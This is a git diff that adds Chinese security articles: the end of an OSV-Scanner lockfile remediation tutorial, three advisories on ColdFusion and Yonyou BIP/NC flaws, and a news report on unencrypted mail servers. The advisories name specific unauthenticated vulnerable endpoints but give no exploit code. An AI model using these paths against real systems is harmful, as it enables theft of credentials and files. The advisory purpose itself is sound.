选择就地修改操作 + +程序转入 IN-PLACE 就地修正界面，如图7： + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/HSHUiabvXVfO7c5kwJicHfgT7wXKXRNGSdicutBHiaGUX1zSYyObwFYvydMY0hhyT0xEibLFK87JjFdWexAFf7prItw/640?wx_fmt=png&from=appmsg "") + +图7 就地修正操作界面 + +此时用箭头键上下移动，就可以进入包信息了解到修改的7个包对应修改了哪些漏洞，如图8： + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/HSHUiabvXVfO7c5kwJicHfgT7wXKXRNGSdYDdOZJxXsEZEhxkcJJ2SLAOpHQM1drod0g8BMicF87bibJ10wfejrnYg/640?wx_fmt=png&from=appmsg "") + +图8 包及对应漏洞的清单 + +以及剩下没有修正的7个漏洞的具体情况如图9： + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/HSHUiabvXVfO7c5kwJicHfgT7wXKXRNGSdEWGbOy1OtibnxsjEYm5Se4LmOpqlBlCobftVicPKiaQqtUVg2B2tvFzQQ/640?wx_fmt=png&from=appmsg "") + +图9 未能修正的漏洞清单 + +界面还允许用户细化选择要进行的修改，也就是7个可修正的包之中选择哪些执行，选择如图10、图11的操作： + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/HSHUiabvXVfO7c5kwJicHfgT7wXKXRNGSd3GFvuGfQEcHDLSv39Ve9JQQeOVWjgrOzmlkpylqyhQ0umWXNF7pQZw/640?wx_fmt=png&from=appmsg "") + +图10 两项操作之选择应用的修正 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/HSHUiabvXVfO7c5kwJicHfgT7wXKXRNGSdtSFLRlSgIXz26syctvtHxbUXJlBDazz95Fu4hcshicelLI0pgq81qWg/640?wx_fmt=png&from=appmsg "") + +图11 选择需要应用的修补 + +文本的交互式界面做成这样还是很不错了。 + +返回到 IN-PLACE 操作界面，选择写入7项修改到锁定文件，如图12： + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/HSHUiabvXVfO7c5kwJicHfgT7wXKXRNGSdz2Fsw5pgtc5SUZUtULCevicrxTw2CQWvnYQ5RXhozM0xSiakl5jlMlmg/640?wx_fmt=png&from=appmsg "") + +图12 两项操作之写入到锁定文件 + +没有什么提示就完成了，界面显示剩余0个包可修改，如图13： + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/HSHUiabvXVfO7c5kwJicHfgT7wXKXRNGSdCUX7BRANaBzYRjo07eGXzuNVEibAECzwvQSX5DU96iauOmPygwqqxkbQ/640?wx_fmt=png&from=appmsg "") + +图13 完成写入剩余0个包可修正 + +最后退出界面，指导性纠正过程就完成了。 + +在执行前笔者已经备份了 package-lock.json 文件，于是祭出笔者最喜欢的代码比较工具 WinMerge 来比较一下修改前后，如图14： + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/HSHUiabvXVfO7c5kwJicHfgT7wXKXRNGSd2LVtX4R9ZtDpqyKLj2U3nzeegODMz9bMialXVJ8XFmJlyFkyfOmkyXw/640?wx_fmt=png&from=appmsg "") + +图14 修正前后的锁定文件比较 + +最后补充一下，写入操作有可能出现可以理解的失败： + +``` +Get "https://registry.npmjs.org/semver/6.3.1": net/http: TLS handshake timeout +``` + + +懂的都懂。笔者也不啰嗦。 + +总之，笔者认为指导性纠正功能是相当有发展潜力的。 + +~完~ + +注：题头图为笔者自行拍摄。 + + +参考引用： + +[1] Guided Remediation | OSV-Scanner + +https://google.github.io/osv-scanner/experimental/guided-remediation/ + +[2] Offline Mode | OSV-Scanner + +https://google.github.io/osv-scanner/experimental/offline-mode/ + +[3] GitHub - trichards57/zxcvbn: Low-Budget Password Strength Estimation + +https://github.com/trichards57/zxcvbn.git + + +**点赞和转发都是免费的** +↓  + + + + + + +还可以看看这些内容： + +[OSV-Scanner 1.3.6 新功能：扫描归集软件包的开源许可证](https://mp.weixin.qq.com/s?__biz=Mzg4Njc0Mjc3NQ==&mid=2247486058&idx=1&sn=c7107e1ed2b413ecb084df42b58d477f&scene=21#wechat_redirect) + + +[Git提交钩子触发 OSV-Scanner 漏洞扫描](https://mp.weixin.qq.com/s?__biz=Mzg4Njc0Mjc3NQ==&mid=2247485616&idx=1&sn=c62e61f9e1867f5466558d7d2b8f82b0&scene=21#wechat_redirect) + + +[开源漏洞扫描器 OSV-Scanner 1.3 的新进展](https://mp.weixin.qq.com/s?__biz=Mzg4Njc0Mjc3NQ==&mid=2247485490&idx=1&sn=271b81f6fa536c60b9ea8eac637d4e54&scene=21#wechat_redirect) + + +[OSV-Scanner: Google 研发的开源漏洞扫描器](https://mp.weixin.qq.com/s?__biz=Mzg4Njc0Mjc3NQ==&mid=2247484666&idx=1&sn=c623b5fa38938954abc6daa6ef1af992&scene=21#wechat_redirect) + + diff --git a/doc/漏洞预警 | Adobe ColdFusion反序列化漏洞.md b/doc/漏洞预警 | Adobe ColdFusion反序列化漏洞.md new file mode 100644 index 00000000..dca33ae7 --- /dev/null +++ b/doc/漏洞预警 | Adobe ColdFusion反序列化漏洞.md @@ -0,0 +1,46 @@ +# 漏洞预警 | Adobe ColdFusion反序列化漏洞 +浅安 浅安安全 2025-01-03 00:00 + +**0x00 漏洞编号** +- # CVE-2024-53961 + +**0x01 危险等级** +- 高危 + +**0x02 漏洞概述** + +Adobe ColdFusion是一个快速应用程序开发平台，其运行的CFML针对Web应用的一种脚本语言。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/7stTqD182SXAqMr1ficNFgzXiab1XQRowvUN93t6IOq9wiaOqUgiadPVU5xicErvibAZTmQUoGUG4EdiblhuHntfuV6Kw/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +**0x03 漏洞详情** +### + +**CVE-2024-53961** + +**漏洞类型：** +路径遍历 + +**影响：** +敏感信息泄露 + + +**简述：** +Adobe ColdFusion存在路径遍历漏洞，该漏洞可能导致未经身份验证的远程攻击者绕过应用程序的访问限制，从而读取受限目录之外的文件或目录，成功利用该漏洞可能导致敏感信息泄露或系统数据被操纵。 + +**0x04 影响版本** +- Adobe ColdFusion 2023 <= Update 11 + +- Adobe ColdFusion 2021 <= Update 17 + +**0x05****POC状态** +- 已公开 + +**0x06****修复建议** + +**目前官方已发布漏洞修复版本，建议用户升级到安全版本****：** + +https://www.adobe.com/cn/products/coldfusion-family.html + + + diff --git a/doc/漏洞预警 | 用友BIP信息泄露漏洞.md b/doc/漏洞预警 | 用友BIP信息泄露漏洞.md new file mode 100644 index 00000000..0b551a95 --- /dev/null +++ b/doc/漏洞预警 | 用友BIP信息泄露漏洞.md @@ -0,0 +1,41 @@ +# 漏洞预警 | 用友BIP信息泄露漏洞 +浅安 浅安安全 2025-01-03 00:00 + +**0x00 漏洞编号** +- # 暂无 + +**0x01 危险等级** +- 高危 + +**0x02 漏洞概述** + +用友BIP是以数智平台+十大领域的场景服务+大规模生态为基本产品形态的融合服务群。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/7stTqD182SUTGsZpt8BLQXKl46W7WYicRHeDxNS4IiaiaVbAG4TqvZrjMGeYHicxPsuZuNOeCKxc2AQeajFIHtic4Cg/640?wx_fmt=png&from=appmsg "") + +**0x03 漏洞详情** +### + +**漏洞类型：** +信息泄露 + +**影响：** +获取敏感信息 + +**简述：** +用友BIP的/bi/api/Portal/GetUserList和/bi/api/SemanticModel/GetOlapConnectionList接口存在信息泄露漏洞，攻击者可利用该漏洞获取管理员的账号密码相关信息。 + +**0x04 影响版本** +- 用友BIP + +**0x05****POC状态** +- 已公开 + +**0x06****修复建议** + +**目前官方已发布漏洞修复版本，建议用户升级到安全版本****：** + +https://www.yonyou.com/ + + + diff --git a/doc/漏洞预警 | 用友NC XML实体注入漏洞.md b/doc/漏洞预警 | 用友NC XML实体注入漏洞.md new file mode 100644 index 00000000..dc9a24ee --- /dev/null +++ b/doc/漏洞预警 | 用友NC XML实体注入漏洞.md @@ -0,0 +1,41 @@ +# 漏洞预警 | 用友NC XML实体注入漏洞 +浅安 浅安安全 2025-01-03 00:00 + +**0x00 漏洞编号** +- # 暂无 + +**0x01 危险等级** +- 高危 + +**0x02 漏洞概述** + +用友NC是一款企业级ERP软件。作为一种信息化管理工具，用友NC提供了一系列业务管理模块，包括财务会计、采购管理、销售管理、物料管理、生产计划和人力资源管理等，帮助企业实现数字化转型和高效管理。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/7stTqD182SWqko9FpUNxKIEDk0mJhFKw1HJbpgNfiaEUdblU1ERoa1gR7GTHagEoXDiapJZibfNNK7wRic67UibUyuA/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +**0x03 漏洞详情** +### + +**漏洞类型：** +XML实体注入 + +**影响：** +获取敏感信息 + +**简述：** +用友NC的/uapws/service/nc.pubitf.rbac.IUserPubServiceWS接口存在XML实体注入漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件、数据库配置文件等等，导致网站处于极度不安全状态。 + +**0x04 影响版本** +- 用友NC + +**0x05****POC****状态** +- 已公开 + +**0x06****修复建议** + +**目前官方已发布漏洞修复版本，建议用户升级到安全版本****：** + +https://www.yonyou.com/ + + + diff --git a/doc/超300万台未加密邮件服务器暴露，用户数据面临严重威胁！.md b/doc/超300万台未加密邮件服务器暴露，用户数据面临严重威胁！.md new file mode 100644 index 00000000..b46e43b5 --- /dev/null +++ b/doc/超300万台未加密邮件服务器暴露，用户数据面临严重威胁！.md @@ -0,0 +1,50 @@ +# 超300万台未加密邮件服务器暴露，用户数据面临严重威胁！ +原创 网空闲话 网空闲话plus 2025-01-02 23:09 + +据BleepingComputer网站2025年1月2日引述网络安全监控平台ShadowServer报告的数据，称报告揭示了一个令人震惊的事实：全球超过300万台未启用TLS加密的POP3和IMAP邮件服务器暴露在互联网上，用户数据正面临严重的嗅探攻击风险。这些服务器在传输邮件内容和登录凭据时，均以明文形式发送，使得黑客可以轻松截获敏感信息。依据ShadowServer的统计数据，我国也有39K个这种未加密的邮件服务器。 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/0KRmt3K30icUpdBWa70WOtTwpyzibqqNwGgSBH4icneAO4WnEAWLMMNNIGxZxJVpdpTyFmKfr59NzBI0oOVfbGpyQ/640?wx_fmt=webp&from=appmsg "") + +未加密的隐患 + +**IMAP和POP3是两种常见的邮件访问协议，分别适用于多设备同步和单设备下载。然而，如果未启用TLS加密，这些协议在传输过程中会将用户名、密码和邮件内容以明文形式暴露，极易被网络嗅探工具捕获。ShadowServer的扫描结果显示，约有330万台主机正在运行未加密的POP3/IMAP服务，用户隐私和数据安全岌岌可危。** + +**这些服务器主要公布在美国、德国、波兰、日本、荷兰、法国等欧美国家。** + +![](https://mmbiz.qpic.cn/mmbiz_jpg/0KRmt3K30icUpdBWa70WOtTwpyzibqqNwGiaZqQvA36CQQnSfRzFJPtGIaV0ITZbsmcvjsFNbl8d71G7gSyXInRSw/640?wx_fmt=jpeg&from=appmsg "") + +**ShadowServer的警告** + +**ShadowServer已开始通知相关邮件服务器运营商，提醒他们尽快启用TLS加密，或将服务移至VPN后以增强安全性。报告强调，未加密的服务器不仅面临嗅探攻击，还可能成为密码猜测攻击的目标，进一步加剧安全风险。** + +![](https://mmbiz.qpic.cn/mmbiz_png/0KRmt3K30icUpdBWa70WOtTwpyzibqqNwGqpgy6whS0XqBIrTcxNQGdANc7gd9mfYfDete0pIkyqib9NjTjnV7J9g/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/0KRmt3K30icUpdBWa70WOtTwpyzibqqNwGYajUrOrCkCrzhZDsmhvhOwCs6KiaiagjyiayKLqNeMrLemibxW45ic9rZEQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/0KRmt3K30icUpdBWa70WOtTwpyzibqqNwGSHWXLicbc8KkFQYWiaHsEuK9ulUHLib5NXMzhO8SwicuUm12sVtk4AkVQw/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/0KRmt3K30icUpdBWa70WOtTwpyzibqqNwG7Ku6bEff9UjjpQw709gPVY4zicENcYcCdO52Ve5jDeRoexZVMmWy5Ww/640?wx_fmt=png&from=appmsg "") + +**TLS加密的重要性** + +**TLS（传输层安全）协议是保护网络通信的关键技术。自1999年TLS 1.0发布以来，该协议已多次升级，最新版本TLS 1.3于2018年推出，提供了更高的安全性和性能。** + +2018年10月，微软、谷歌、苹果和 Mozilla在一份联合声明中表示，他们将在 2020年上半年淘汰不安全的TLS 1.0和TLS 1.1协议。微软从 2020 年 8 月开始在最新的 Windows 10 Insider 版本中默认启用TLS 1.3 。 + +2021年1月，美国国家安全局还提供了有关识别和用现代、安全的替代方案替换过时的TLS 协议版本和配置的指导。美国国家安全局表示：“过时的配置可以让对手使用各种技术访问敏感的操作流量，比如被动解密和通过中间人攻击修改流量。”“攻击者可以利用过时的传输层安全性 (TLS) 协议配置来访问敏感数据，只需很少的技能。” + +**如何应对？** + +**对于邮件服务器运营商，ShadowServer建议立即启用TLS支持，并评估是否需要将服务移至VPN后。对于普通用户，建议使用支持TLS加密的邮件客户端，并定期更换密码以降低风险。** + +**网人闲语：网络安全威胁日益严峻的今天，未加密的邮件服务器无异于“裸奔”，你的邮箱口令已经处于高度危险之中。无论是企业还是个人，都应高度重视数据安全，及时采取防护措施。ShadowServer的报告再次敲响了警钟：网络安全无小事，防范未然是关键！** + +**** +**参考资源** + +**1、https://www.bleepingcomputer.com/news/security/over-3-million-mail-servers-without-encryption-exposed-to-sniffing-attacks/** + +**2、https://www.shadowserver.org/what-we-do/network-reporting/vulnerable-imap-report/** + +**3、https://www.shadowserver.org/what-we-do/network-reporting/vulnerable-pop3-report/** +